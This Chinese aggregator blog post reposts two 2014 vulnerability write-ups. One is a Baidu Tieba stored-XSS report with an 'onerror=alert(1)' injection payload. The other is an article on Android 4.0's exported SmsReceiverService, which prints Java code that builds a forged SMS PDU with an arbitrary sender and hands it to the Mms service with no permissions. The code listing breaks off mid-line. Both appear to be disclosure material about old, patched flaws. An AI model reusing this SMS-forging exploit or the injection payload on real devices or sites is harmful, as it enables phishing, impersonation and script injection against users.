搜索此博客

2014年4月29日星期二

百度贴吧存储型XSS漏洞

本邮件内容由第三方提供,如果您不想继续收到该邮件,可 点此退订
百度贴吧存储型XSS漏洞  阅读原文»



1.又出了贴吧XSS,于是我准备去捡剩下的漏洞



2.但是还是有漏网之鱼,在转帖提交的参数中,    f72a2834349b033b96adad6f17ce36d3d539bd5a,这个是转帖之后图片地址带的参数,f72a2834349b033b96adad6f17ce36d3d539bd5a#(用户输入的内容),于是这次可以把代码加载f72a2834349b033b96adad6f17ce36d3d539bd5a后面,得到f72a2834349b033b96adad6f17ce36d3d539bd5a"onerror="alert(1)"#(用户输入内容),警号后面双引号被过滤了,但是警号前面的双引号没有被过滤

QQ截图20140315205433.png





3.代码存在的位置,如图

QQ截图20140315210547.png







4.吃饭不能吃一半,一半过滤,一半不过滤啊

漏洞证明:

1.

QQ截图20140315205433.png





2.

QQ截图20140315210547.png

修复方案:

感谢您的提交,该漏洞我们正在修复完善过程中


黑客技术官网地址:http://www.hackdig.com/

Android系统的阿基里斯之踵:伪造短信篇  阅读原文»

导读:Android系统的日益强大,但Android平台的安全问题一直是其"阿基里斯之踵"。据统计,2012 年有 79% 的恶意软件都寄生于 Andriod 之上,此数字比 2011 年更高出 12.3%。相较之下,iOS 平台内的恶意软件仅占总量的 0.7%,继续成为最安全的移动系统。本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。 

android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。

原生android4.0系统中,Mms.apk的manifest有这样一段

  1. <service android:name=".transaction.SmsReceiverService"  android:exported="true" />

android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘

在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了

http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

其中UCS-2处理是我新加上去的

private static void createFakeSms(Context context, String sender,  
        String body) {  
    byte[] pdu = null;  
    byte[] scBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD("0000000000");  
    byte[] senderBytes = PhoneNumberUtils  
            .networkPortionToCalledPartyBCD(sender);  
    int lsmcs = scBytes.length;  
    // 时间处理,包括年月日时分秒以及时区和夏令时  
    byte[] dateBytes = new byte[7];  
    Calendar calendar = new GregorianCalendar();  
    dateBytes[0] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.YEAR)));  
    dateBytes[1] = SmsUtil  
            .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));  
    dateBytes[2] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.DAY_OF_MONTH)));  
    dateBytes[3] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.HOUR_OF_DAY)));  
    dateBytes[4] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.MINUTE)));  
    dateBytes[5] = SmsUtil.reverseByte((byte) (calendar  
            .get(Calendar.SECOND)));  
    dateBytes[6] = SmsUtil  
            .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar  
                    .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));  
    try {  
        ByteArrayOutputStream bo = new ByteArrayOutputStream();  
        bo.write(lsmcs);// 短信服务中心长度  
        bo.write(scBytes);// 短信服务中心号码  
        bo.write(0x04);  
        bo.write((byte) sender.length());// 发送方号码长度  
        bo.write(senderBytes);// 发送方号码  
        bo.write(0x00);// 协议标示,00为普通GSM,点对点方式  
        try {  
            String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";  
            Class<?> cReflectedNFCExtras = Class  
                    .forName(sReflectedClassName);  
            Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(  
                    "stringToGsm7BitPacked", new Class[] { String.class });  
            stringToGsm7BitPacked.setAccessible(true);  
            byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,  
                    body);  
  
            bo.write(0x00); // encoding: 0 for default 7bit  
            bo.write(dateBytes);  
            bo.write(bodybytes);  
        } catch (Exception e) {  
            Log.i(TAG, "sender:" + sender + "nbody:" + body, e);  
            // 下面是UCS-2编码的处理,中文短信就需要用此种方式  
            bo.write(0x08); // encoding: 8 for UCS-2  
            bo.write(dateBytes);  
            bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的  
            // 源码具体位置在  
            // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java  
        }  
  
        pdu = bo.toByteArray();  
    } catch (IOException e) {  
        Log.e(TAG, "sender:" + sender + "nbody:" + body, e);  
    }  
    // 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊!  
    Intent intent = new Intent();  
    intent.setClassName("com.android.mms",  
            "com.android.mms.transaction.SmsReceiverService");  
    intent.setAction("android.provider.Telephony.SMS_RECEIVED");  
    intent.putExtra("pdus", new Object[] { pdu });  
    intent.putExtra("format", "3gpp");  
    context.start

阅读更多内容

没有评论: